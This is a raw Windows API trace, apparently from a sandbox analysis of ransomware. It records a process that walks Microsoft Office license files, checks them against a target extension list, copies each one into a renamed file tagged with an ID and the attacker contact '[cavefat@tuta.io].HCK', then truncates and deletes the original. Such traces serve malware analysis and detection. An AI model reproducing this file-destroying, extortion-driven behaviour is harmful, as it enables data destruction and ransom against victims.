[0238.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".xls") returned 4 [0238.573] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".xlsx") returned 5 [0238.573] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.573] lstrlenW (lpString=".ppt") returned 4 [0238.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.573] lstrlenW (lpString=".zip") returned 4 [0238.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".rar") returned 4 [0238.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".bz2") returned 4 [0238.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".7z") returned 3 [0238.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString=".dbf") returned 4 [0238.574] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString=".1cd") returned 4 [0238.574] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString=".jpg") returned 4 [0238.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString=".doc") returned 4 [0238.574] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".docx") returned 5 [0238.574] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.574] lstrlenW (lpString=".pdf") returned 4 [0238.574] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".xls") returned 4 [0238.574] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".xlsx") returned 5 [0238.574] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.574] lstrlenW (lpString=".ppt") returned 4 [0238.574] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.574] lstrlenW (lpString=".zip") returned 4 [0238.574] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".rar") returned 4 [0238.574] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".bz2") returned 4 [0238.574] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.574] lstrlenW (lpString=".7z") returned 3 [0238.574] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.575] lstrlenW (lpString=".dbf") returned 4 [0238.575] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.575] lstrlenW (lpString=".1cd") returned 4 [0238.575] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.575] lstrlenW (lpString=".jpg") returned 4 [0238.575] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.575] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.575] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31 [0238.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.576] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=22091) returned 1 [0238.576] CloseHandle (hObject=0x4d4) returned 1 [0238.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0238.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.576] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.576] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.578] GetLastError () returned 0x0 [0238.578] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x564b, lpOverlapped=0x0) returned 1 [0238.580] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.581] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.581] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x112, lpOverlapped=0x0) returned 1 [0238.581] SetEndOfFile (hFile=0x55c) returned 1 [0238.583] CloseHandle (hObject=0x55c) returned 1 [0238.583] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.583] SetEndOfFile (hFile=0x4d4) returned 1 [0238.586] CloseHandle (hObject=0x4d4) returned 1 [0238.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0238.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.587] lstrlenW (lpString=".doc") returned 4 [0238.587] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.587] lstrlenW (lpString=".docx") returned 5 [0238.587] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.588] lstrlenW (lpString=".pdf") returned 4 [0238.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".xls") returned 4 [0238.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".xlsx") returned 5 [0238.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.588] lstrlenW (lpString=".ppt") returned 4 [0238.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".zip") returned 4 [0238.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".rar") returned 4 [0238.588] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".bz2") returned 4 [0238.588] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".7z") returned 3 [0238.588] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".dbf") returned 4 [0238.588] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".1cd") returned 4 [0238.588] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".jpg") returned 4 [0238.588] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".doc") returned 4 [0238.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".docx") returned 5 [0238.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.588] lstrlenW (lpString=".pdf") returned 4 [0238.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".xls") returned 4 [0238.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString=".xlsx") returned 5 [0238.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.588] lstrlenW (lpString=".ppt") returned 4 [0238.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.588] lstrlenW (lpString=".zip") returned 4 [0238.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.589] lstrlenW (lpString=".rar") returned 4 [0238.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.589] lstrlenW (lpString=".bz2") returned 4 [0238.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.589] lstrlenW (lpString=".7z") returned 3 [0238.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.589] lstrlenW (lpString=".dbf") returned 4 [0238.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.589] lstrlenW (lpString=".1cd") returned 4 [0238.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0238.589] lstrlenW (lpString=".jpg") returned 4 [0238.589] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.589] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.589] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34 [0238.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.590] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11609) returned 1 [0238.590] CloseHandle (hObject=0x4d4) returned 1 [0238.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0238.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.591] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.591] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.592] GetLastError () returned 0x0 [0238.592] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0238.594] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0238.595] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.595] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x118, lpOverlapped=0x0) returned 1 [0238.595] SetEndOfFile (hFile=0x55c) returned 1 [0238.596] CloseHandle (hObject=0x55c) returned 1 [0238.596] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.596] SetEndOfFile (hFile=0x4d4) returned 1 [0238.824] CloseHandle (hObject=0x4d4) returned 1 [0238.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0238.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.826] lstrlenW (lpString=".doc") returned 4 [0238.826] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.826] lstrlenW (lpString=".docx") returned 5 [0238.826] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.826] lstrlenW (lpString=".pdf") returned 4 [0238.826] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.826] lstrlenW (lpString=".xls") returned 4 [0238.826] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.826] lstrlenW (lpString=".xlsx") returned 5 [0238.826] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.826] lstrlenW (lpString=".ppt") returned 4 [0238.826] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.826] lstrlenW (lpString=".zip") returned 4 [0238.826] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.826] lstrlenW (lpString=".rar") returned 4 [0238.826] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".bz2") returned 4 [0238.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".7z") returned 3 [0238.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".dbf") returned 4 [0238.827] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".1cd") returned 4 [0238.827] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".jpg") returned 4 [0238.827] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".doc") returned 4 [0238.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".docx") returned 5 [0238.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.827] lstrlenW (lpString=".pdf") returned 4 [0238.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".xls") returned 4 [0238.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".xlsx") returned 5 [0238.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.827] lstrlenW (lpString=".ppt") returned 4 [0238.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".zip") returned 4 [0238.827] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".rar") returned 4 [0238.827] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".bz2") returned 4 [0238.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString=".7z") returned 3 [0238.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".dbf") returned 4 [0238.827] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".1cd") returned 4 [0238.827] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0238.827] lstrlenW (lpString=".jpg") returned 4 [0238.827] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.828] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.828] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35 [0238.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.828] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19958) returned 1 [0238.829] CloseHandle (hObject=0x4d4) returned 1 [0238.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0238.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.829] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.829] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.830] GetLastError () returned 0x0 [0238.830] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0238.832] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.833] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.833] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11a, lpOverlapped=0x0) returned 1 [0238.833] SetEndOfFile (hFile=0x4ac) returned 1 [0238.833] CloseHandle (hObject=0x4ac) returned 1 [0238.833] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.833] SetEndOfFile (hFile=0x4d4) returned 1 [0238.837] CloseHandle (hObject=0x4d4) returned 1 [0238.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 